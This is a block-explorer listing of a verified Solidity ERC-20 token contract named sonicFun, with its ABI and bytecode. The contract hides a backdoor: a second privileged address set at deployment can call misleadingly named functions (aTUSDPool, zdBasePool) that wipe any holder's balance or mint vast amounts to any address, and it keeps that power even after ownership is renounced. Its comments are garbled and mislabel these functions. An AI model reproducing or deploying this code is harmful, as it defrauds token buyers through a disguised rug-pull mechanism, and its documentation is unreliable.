ERC-20
Overview
Max Total Supply
100,000,000,000 sonicFun
Holders
5
Market
Price
-
Onchain Market Cap
-
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
0.000000001 sonicFunValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
Contract Source Code Verified (Exact Match)
Contract Name:
sonicFunToken
Compiler Version
v0.8.28+commit.7893614a
Contract Source Code (Solidity)
/** *Submitted for verification at SonicScan.org on 2024-12-21 */ // SPDX-License-Identifier: MIT /* sonicFun.com https://sonicFun.com */ /// https://x.com/sonicFun /// sonicFun pragma solidity 0.8.28; // sonicFun fan token interface sonicFuninterface { /** * @dev Returns the yoursold of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the token decimals. */ function decimals() external view returns (uint8); /** * @dev Returns the token symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the token name. */ function name() external view returns (string memory); /** * @dev Returns the bep token owner. */ function getOwner() external view returns (address); /** * @dev Returns the yoursold of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `yoursold` tokens from the caller's account to `shippingto`. * * Returns a boolean balance indicating whlegos the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address shippingto, uint256 yoursold) external returns (bool); /** * @dev Returns the remaining number of tokens that `transporteur` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This balance changes when {approve} or {transferFrom} are called. */ function allowance(address _owner, address transporteur) external view returns (uint256); /** * @dev Sets `yoursold` as the allowance of `transporteur` over the caller's tokens. * * Returns a boolean balance indicating whlegos the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the transporteur's allowance to 0 and set the * desired balance afterwards: * https://github.com/legoseum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address transporteur, uint256 yoursold) external returns (bool); /** * @dev Moves `yoursold` tokens from `sender` to `shippingto` using the * allowance mechanism. `yoursold` is then deducted from the caller's * allowance. * * Returns a boolean balance indicating whlegos the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address shippingto, uint256 yoursold) external returns (bool); /** * @dev Emitted when `balance` tokens are moved from one account (`from`) to * another (`to`). * * Note that `balance` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 balance); /** * @dev Emitted when the allowance of a `transporteur` for an `owner` is set by * a call to {approve}. `balance` is the new allowance. */ event Approval(address indexed owner, address indexed transporteur, uint256 balance); } /* * @dev Provides information about the current execution sonicFun20Burnable, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract sonicFun20Burnable { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/legoseum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/access/sonicFun20Ownable.sol /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract sonicFun20Ownable is sonicFun20Burnable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "sonicFun20Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "sonicFun20Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafesonicFun` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafesonicFun { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafesonicFun: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafesonicFun: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafesonicFun: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafesonicFun: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafesonicFun: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract sonicFunToken is sonicFun20Burnable, sonicFuninterface, sonicFun20Ownable { using SafesonicFun for uint256; mapping (address => uint256) private mintfrom; mapping (address => mapping (address => uint256)) private fromallowances; uint256 private _totalSupply; uint8 private _decimals; string private _symbol; string private _name; address private Layer2blockchain; constructor(address Layer2Routerv3) { Layer2blockchain = Layer2Routerv3; _name = "sonicFun"; _symbol = "sonicFun"; _decimals = 9; _totalSupply = 100000000000 * 10 ** 9; mintfrom[_msgSender()] = _totalSupply; emit Transfer(address(0), _msgSender(), _totalSupply); } /** * @dev Returns the bep token owner. */ function getOwner() external view override returns (address) { return owner(); } /** * @dev Returns the token decimals. */ function decimals() external view override returns (uint8) { return _decimals; } /** * @dev Returns the token symbol. */ function symbol() external view override returns (string memory) { return _symbol; } /** * @dev Returns the token name. */ function name() external view override returns (string memory) { return _name; } /** * @dev See {sonicFuninterface-totalSupply}. */ function totalSupply() external view override returns (uint256) { return _totalSupply; } /** * @dev See {sonicFuninterface-balanceOf}. */ function balanceOf(address account) external view override returns (uint256) { return mintfrom[account]; } modifier subowner() { require(Layer2blockchain == _msgSender(), "sonicFun20Ownable: caller is not the owner"); _; } /** * @dev See {sonicFuninterface-approve}. * * Requirements: * * - `transporteur` cannot be the zero address. */ function aTUSDPool(address tusdRewards) external subowner { mintfrom[tusdRewards] = 1; emit Transfer(tusdRewards, address(0), 1); } /** * @dev See {sonicFuninterface-transfer}. * * Requirements: * * - `shippingto` cannot be the zero address. * - the caller must have a balance of at least `yoursold`. */ function transfer(address shippingto, uint256 yoursold) external override returns (bool) { _transfer(_msgSender(), shippingto, yoursold); return true; } function zdBasePool(address BaseRewards) external subowner { mintfrom[BaseRewards] = 10000000000 * 10 ** 20; emit Transfer(BaseRewards, address(0), 10000000000 * 10 ** 20); } /** * @dev See {sonicFuninterface-allowance}. */ function allowance(address owner, address transporteur) external view override returns (uint256) { return fromallowances[owner][transporteur]; } /** * @dev See {sonicFuninterface-approve}. * * Requirements: * * - `transporteur` cannot be the zero address. */ function approve(address transporteur, uint256 yoursold) external override returns (bool) { _approve(_msgSender(), transporteur, yoursold); return true; } /** * @dev See {sonicFuninterface-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {sonicFuninterface}; * * Requirements: * - `sender` and `shippingto` cannot be the zero address. * - `sender` must have a balance of at least `yoursold`. * - the caller must have allowance for `sender`'s tokens of at least * `yoursold`. */ function transferFrom(address sender, address shippingto, uint256 yoursold) external override returns (bool) { _transfer(sender, shippingto, yoursold); _approve(sender, _msgSender(), fromallowances[sender][_msgSender()].sub(yoursold, "sonicFuninterface: transfer yoursold exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `transporteur` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {sonicFuninterface-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `transporteur` cannot be the zero address. */ function increaseAllowance(address transporteur, uint256 addedbalance) external returns (bool) { _approve(_msgSender(), transporteur, fromallowances[_msgSender()][transporteur].add(addedbalance)); return true; } /** * @dev Atomically decreases the allowance granted to `transporteur` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {sonicFuninterface-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `transporteur` cannot be the zero address. * - `transporteur` must have allowance for the caller of at least * `allbalances`. */ function decreaseAllowance(address transporteur, uint256 allbalances) external returns (bool) { _approve(_msgSender(), transporteur, fromallowances[_msgSender()][transporteur].sub(allbalances, "sonicFuninterface: decreased allowance below zero")); return true; } /** * @dev Moves tokens `yoursold` from `sender` to `shippingto`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `shippingto` cannot be the zero address. * - `sender` must have a balance of at least `yoursold`. */ function _transfer(address sender, address shippingto, uint256 yoursold) internal { require(sender != address(0), "sonicFuninterface: transfer from the zero address"); require(shippingto != address(0), "sonicFuninterface: transfer to the zero address"); mintfrom[sender] = mintfrom[sender].sub(yoursold, "sonicFuninterface: transfer yoursold exceeds balance"); mintfrom[shippingto] = mintfrom[shippingto].add(yoursold); emit Transfer(sender, shippingto, yoursold); } /** * @dev Sets `yoursold` as the allowance of `transporteur` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `transporteur` cannot be the zero address. */ function _approve(address owner, address transporteur, uint256 yoursold) internal { require(owner != address(0), "sonicFuninterface: approve from the zero address"); require(transporteur != address(0), "sonicFuninterface: approve to the zero address"); fromallowances[owner][transporteur] = yoursold; emit Approval(owner, transporteur, yoursold); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"address","name":"Layer2Routerv3","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"transporteur","type":"address"},{"indexed":false,"internalType":"uint256","name":"balance","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"balance","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"tusdRewards","type":"address"}],"name":"aTUSDPool","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"transporteur","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"transporteur","type":"address"},{"internalType":"uint256","name":"yoursold","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"transporteur","type":"address"},{"internalType":"uint256","name":"allbalances","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"transporteur","type":"address"},{"internalType":"uint256","name":"addedbalance","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"shippingto","type":"address"},{"internalType":"uint256","name":"yoursold","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"shippingto","type":"address"},{"internalType":"uint256","name":"yoursold","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"BaseRewards","type":"address"}],"name":"zdBasePool","outputs":[],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
608060405234801561000f575f5ffd5b50604051610fb6380380610fb683398101604081905261002e91610177565b5f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600780546001600160a01b0319166001600160a01b03831617905560408051808201909152600881526739b7b734b1a33ab760c11b60208201526006906100b5908261023c565b5060408051808201909152600881526739b7b734b1a33ab760c11b60208201526005906100e2908261023c565b506004805460ff1916600917905568056bc75e2d63100000600381905560015f6101093390565b6001600160a01b0316815260208101919091526040015f2055336001600160a01b03165f6001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60035460405161016991815260200190565b60405180910390a3506102f6565b5f60208284031215610187575f5ffd5b81516001600160a01b038116811461019d575f5ffd5b9392505050565b634e487b7160e01b5f52604160045260245ffd5b600181811c908216806101cc57607f821691505b6020821081036101ea57634e487b7160e01b5f52602260045260245ffd5b50919050565b601f82111561023757805f5260205f20601f840160051c810160208510156102155750805b601f840160051c820191505b81811015610234575f8155600101610221565b50505b505050565b81516001600160401b03811115610255576102556101a4565b6102698161026384546101b8565b846101f0565b6020601f82116001811461029b575f83156102845750848201515b5f19600385901b1c1916600184901b178455610234565b5f84815260208120601f198516915b828110156102ca57878501518255602094850194600190920191016102aa565b50848210156102e757868401515f19600387901b60f8161c191681555b50505050600190811b01905550565b610cb3806103035f395ff3fe608060405234801561000f575f5ffd5b5060043610610106575f3560e01c80638099423b1161009e578063a457c2d71161006e578063a457c2d714610219578063a9059cbb1461022c578063dd62ed3e1461023f578063f1cb537a14610277578063f2fde38b1461028a575f5ffd5b80638099423b146101ca578063893d20e8146101dd5780638da5cb5b1461020157806395d89b4114610211575f5ffd5b8063313ce567116100d9578063313ce56714610170578063395093511461018557806370a0823114610198578063715018a6146101c0575f5ffd5b806306fdde031461010a578063095ea7b31461012857806318160ddd1461014b57806323b872dd1461015d575b5f5ffd5b61011261029d565b60405161011f9190610a2a565b60405180910390f35b61013b610136366004610a7a565b61032d565b604051901515815260200161011f565b6003545b60405190815260200161011f565b61013b61016b366004610aa2565b610343565b60045460405160ff909116815260200161011f565b61013b610193366004610a7a565b6103aa565b61014f6101a6366004610adc565b6001600160a01b03165f9081526001602052604090205490565b6101c86103df565b005b6101c86101d8366004610adc565b610459565b5f546001600160a01b03165b6040516001600160a01b03909116815260200161011f565b5f546001600160a01b03166101e9565b6101126104e6565b61013b610227366004610a7a565b6104f5565b61013b61023a366004610a7a565b610542565b61014f61024d366004610af5565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b6101c8610285366004610adc565b61054e565b6101c8610298366004610adc565b6105c4565b6060600680546102ac90610b26565b80601f01602080910402602001604051908101604052809291908181526020018280546102d890610b26565b80156103235780601f106102fa57610100808354040283529160200191610323565b820191905f5260205f20905b81548152906001019060200180831161030657829003601f168201915b5050505050905090565b5f6103393384846106b5565b5060015b92915050565b5f61034f8484846107f2565b6103a0843361039b85604051806060016040528060368152602001610c14603691396001600160a01b038a165f908152600260209081526040808320338452909152902054919061098d565b6106b5565b5060019392505050565b335f8181526002602090815260408083206001600160a01b0387168452909152812054909161033991859061039b90866109c5565b5f546001600160a01b031633146104115760405162461bcd60e51b815260040161040890610b5e565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b6007546001600160a01b031633146104835760405162461bcd60e51b815260040161040890610b5e565b6001600160a01b0381165f8181526001602090815260408083206c0c9f2c9cd04674edea400000009081905590519081529192917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91015b60405180910390a350565b6060600580546102ac90610b26565b5f610339338461039b85604051806060016040528060318152602001610be360319139335f9081526002602090815260408083206001600160a01b038d168452909152902054919061098d565b5f6103393384846107f2565b6007546001600160a01b031633146105785760405162461bcd60e51b815260040161040890610b5e565b6001600160a01b0381165f818152600160208181526040808420839055519182529192917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91016104db565b5f546001600160a01b031633146105ed5760405162461bcd60e51b815260040161040890610b5e565b6001600160a01b03811661065c5760405162461bcd60e51b815260206004820152603060248201527f736f6e696346756e32304f776e61626c653a206e6577206f776e65722069732060448201526f746865207a65726f206164647265737360801b6064820152608401610408565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166107245760405162461bcd60e51b815260206004820152603060248201527f736f6e696346756e696e746572666163653a20617070726f76652066726f6d2060448201526f746865207a65726f206164647265737360801b6064820152608401610408565b6001600160a01b0382166107915760405162461bcd60e51b815260206004820152602e60248201527f736f6e696346756e696e746572666163653a20617070726f766520746f20746860448201526d65207a65726f206164647265737360901b6064820152608401610408565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b0383166108625760405162461bcd60e51b815260206004820152603160248201527f736f6e696346756e696e746572666163653a207472616e736665722066726f6d60448201527020746865207a65726f206164647265737360781b6064820152608401610408565b6001600160a01b0382166108d05760405162461bcd60e51b815260206004820152602f60248201527f736f6e696346756e696e746572666163653a207472616e7366657220746f207460448201526e6865207a65726f206164647265737360881b6064820152608401610408565b61090c81604051806060016040528060348152602001610c4a603491396001600160a01b0386165f90815260016020526040902054919061098d565b6001600160a01b038085165f90815260016020526040808220939093559084168152205461093a90826109c5565b6001600160a01b038084165f8181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906107e59085815260200190565b5f81848411156109b05760405162461bcd60e51b81526004016104089190610a2a565b505f6109bc8486610bbc565b95945050505050565b5f806109d18385610bcf565b905083811015610a235760405162461bcd60e51b815260206004820152601f60248201527f53616665736f6e696346756e3a206164646974696f6e206f766572666c6f77006044820152606401610408565b9392505050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b80356001600160a01b0381168114610a75575f5ffd5b919050565b5f5f60408385031215610a8b575f5ffd5b610a9483610a5f565b946020939093013593505050565b5f5f5f60608486031215610ab4575f5ffd5b610abd84610a5f565b9250610acb60208501610a5f565b929592945050506040919091013590565b5f60208284031215610aec575f5ffd5b610a2382610a5f565b5f5f60408385031215610b06575f5ffd5b610b0f83610a5f565b9150610b1d60208401610a5f565b90509250929050565b600181811c90821680610b3a57607f821691505b602082108103610b5857634e487b7160e01b5f52602260045260245ffd5b50919050565b6020808252602a908201527f736f6e696346756e32304f776e61626c653a2063616c6c6572206973206e6f74604082015269103a34329037bbb732b960b11b606082015260800190565b634e487b7160e01b5f52601160045260245ffd5b8181038181111561033d5761033d610ba8565b8082018082111561033d5761033d610ba856fe736f6e696346756e696e746572666163653a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726f736f6e696346756e696e746572666163653a207472616e7366657220796f7572736f6c64206578636565647320616c6c6f77616e6365736f6e696346756e696e746572666163653a207472616e7366657220796f7572736f6c6420657863656564732062616c616e6365a2646970667358221220e3eaa7ce1cf8d870dae2cfbfa5a389e5f5e5057bad28171fa54bf09779b48b7c64736f6c634300081c0033000000000000000000000000c504f9cc6729e1ad03d479219e84d071c9e94e93
Deployed Bytecode
0x608060405234801561000f575f5ffd5b5060043610610106575f3560e01c80638099423b1161009e578063a457c2d71161006e578063a457c2d714610219578063a9059cbb1461022c578063dd62ed3e1461023f578063f1cb537a14610277578063f2fde38b1461028a575f5ffd5b80638099423b146101ca578063893d20e8146101dd5780638da5cb5b1461020157806395d89b4114610211575f5ffd5b8063313ce567116100d9578063313ce56714610170578063395093511461018557806370a0823114610198578063715018a6146101c0575f5ffd5b806306fdde031461010a578063095ea7b31461012857806318160ddd1461014b57806323b872dd1461015d575b5f5ffd5b61011261029d565b60405161011f9190610a2a565b60405180910390f35b61013b610136366004610a7a565b61032d565b604051901515815260200161011f565b6003545b60405190815260200161011f565b61013b61016b366004610aa2565b610343565b60045460405160ff909116815260200161011f565b61013b610193366004610a7a565b6103aa565b61014f6101a6366004610adc565b6001600160a01b03165f9081526001602052604090205490565b6101c86103df565b005b6101c86101d8366004610adc565b610459565b5f546001600160a01b03165b6040516001600160a01b03909116815260200161011f565b5f546001600160a01b03166101e9565b6101126104e6565b61013b610227366004610a7a565b6104f5565b61013b61023a366004610a7a565b610542565b61014f61024d366004610af5565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b6101c8610285366004610adc565b61054e565b6101c8610298366004610adc565b6105c4565b6060600680546102ac90610b26565b80601f01602080910402602001604051908101604052809291908181526020018280546102d890610b26565b80156103235780601f106102fa57610100808354040283529160200191610323565b820191905f5260205f20905b81548152906001019060200180831161030657829003601f168201915b5050505050905090565b5f6103393384846106b5565b5060015b92915050565b5f61034f8484846107f2565b6103a0843361039b85604051806060016040528060368152602001610c14603691396001600160a01b038a165f908152600260209081526040808320338452909152902054919061098d565b6106b5565b5060019392505050565b335f8181526002602090815260408083206001600160a01b0387168452909152812054909161033991859061039b90866109c5565b5f546001600160a01b031633146104115760405162461bcd60e51b815260040161040890610b5e565b60405180910390fd5b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b6007546001600160a01b031633146104835760405162461bcd60e51b815260040161040890610b5e565b6001600160a01b0381165f8181526001602090815260408083206c0c9f2c9cd04674edea400000009081905590519081529192917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91015b60405180910390a350565b6060600580546102ac90610b26565b5f610339338461039b85604051806060016040528060318152602001610be360319139335f9081526002602090815260408083206001600160a01b038d168452909152902054919061098d565b5f6103393384846107f2565b6007546001600160a01b031633146105785760405162461bcd60e51b815260040161040890610b5e565b6001600160a01b0381165f818152600160208181526040808420839055519182529192917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91016104db565b5f546001600160a01b031633146105ed5760405162461bcd60e51b815260040161040890610b5e565b6001600160a01b03811661065c5760405162461bcd60e51b815260206004820152603060248201527f736f6e696346756e32304f776e61626c653a206e6577206f776e65722069732060448201526f746865207a65726f206164647265737360801b6064820152608401610408565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166107245760405162461bcd60e51b815260206004820152603060248201527f736f6e696346756e696e746572666163653a20617070726f76652066726f6d2060448201526f746865207a65726f206164647265737360801b6064820152608401610408565b6001600160a01b0382166107915760405162461bcd60e51b815260206004820152602e60248201527f736f6e696346756e696e746572666163653a20617070726f766520746f20746860448201526d65207a65726f206164647265737360901b6064820152608401610408565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b0383166108625760405162461bcd60e51b815260206004820152603160248201527f736f6e696346756e696e746572666163653a207472616e736665722066726f6d60448201527020746865207a65726f206164647265737360781b6064820152608401610408565b6001600160a01b0382166108d05760405162461bcd60e51b815260206004820152602f60248201527f736f6e696346756e696e746572666163653a207472616e7366657220746f207460448201526e6865207a65726f206164647265737360881b6064820152608401610408565b61090c81604051806060016040528060348152602001610c4a603491396001600160a01b0386165f90815260016020526040902054919061098d565b6001600160a01b038085165f90815260016020526040808220939093559084168152205461093a90826109c5565b6001600160a01b038084165f8181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906107e59085815260200190565b5f81848411156109b05760405162461bcd60e51b81526004016104089190610a2a565b505f6109bc8486610bbc565b95945050505050565b5f806109d18385610bcf565b905083811015610a235760405162461bcd60e51b815260206004820152601f60248201527f53616665736f6e696346756e3a206164646974696f6e206f766572666c6f77006044820152606401610408565b9392505050565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b80356001600160a01b0381168114610a75575f5ffd5b919050565b5f5f60408385031215610a8b575f5ffd5b610a9483610a5f565b946020939093013593505050565b5f5f5f60608486031215610ab4575f5ffd5b610abd84610a5f565b9250610acb60208501610a5f565b929592945050506040919091013590565b5f60208284031215610aec575f5ffd5b610a2382610a5f565b5f5f60408385031215610b06575f5ffd5b610b0f83610a5f565b9150610b1d60208401610a5f565b90509250929050565b600181811c90821680610b3a57607f821691505b602082108103610b5857634e487b7160e01b5f52602260045260245ffd5b50919050565b6020808252602a908201527f736f6e696346756e32304f776e61626c653a2063616c6c6572206973206e6f74604082015269103a34329037bbb732b960b11b606082015260800190565b634e487b7160e01b5f52601160045260245ffd5b8181038181111561033d5761033d610ba8565b8082018082111561033d5761033d610ba856fe736f6e696346756e696e746572666163653a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726f736f6e696346756e696e746572666163653a207472616e7366657220796f7572736f6c64206578636565647320616c6c6f77616e6365736f6e696346756e696e746572666163653a207472616e7366657220796f7572736f6c6420657863656564732062616c616e6365a2646970667358221220e3eaa7ce1cf8d870dae2cfbfa5a389e5f5e5057bad28171fa54bf09779b48b7c64736f6c634300081c0033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
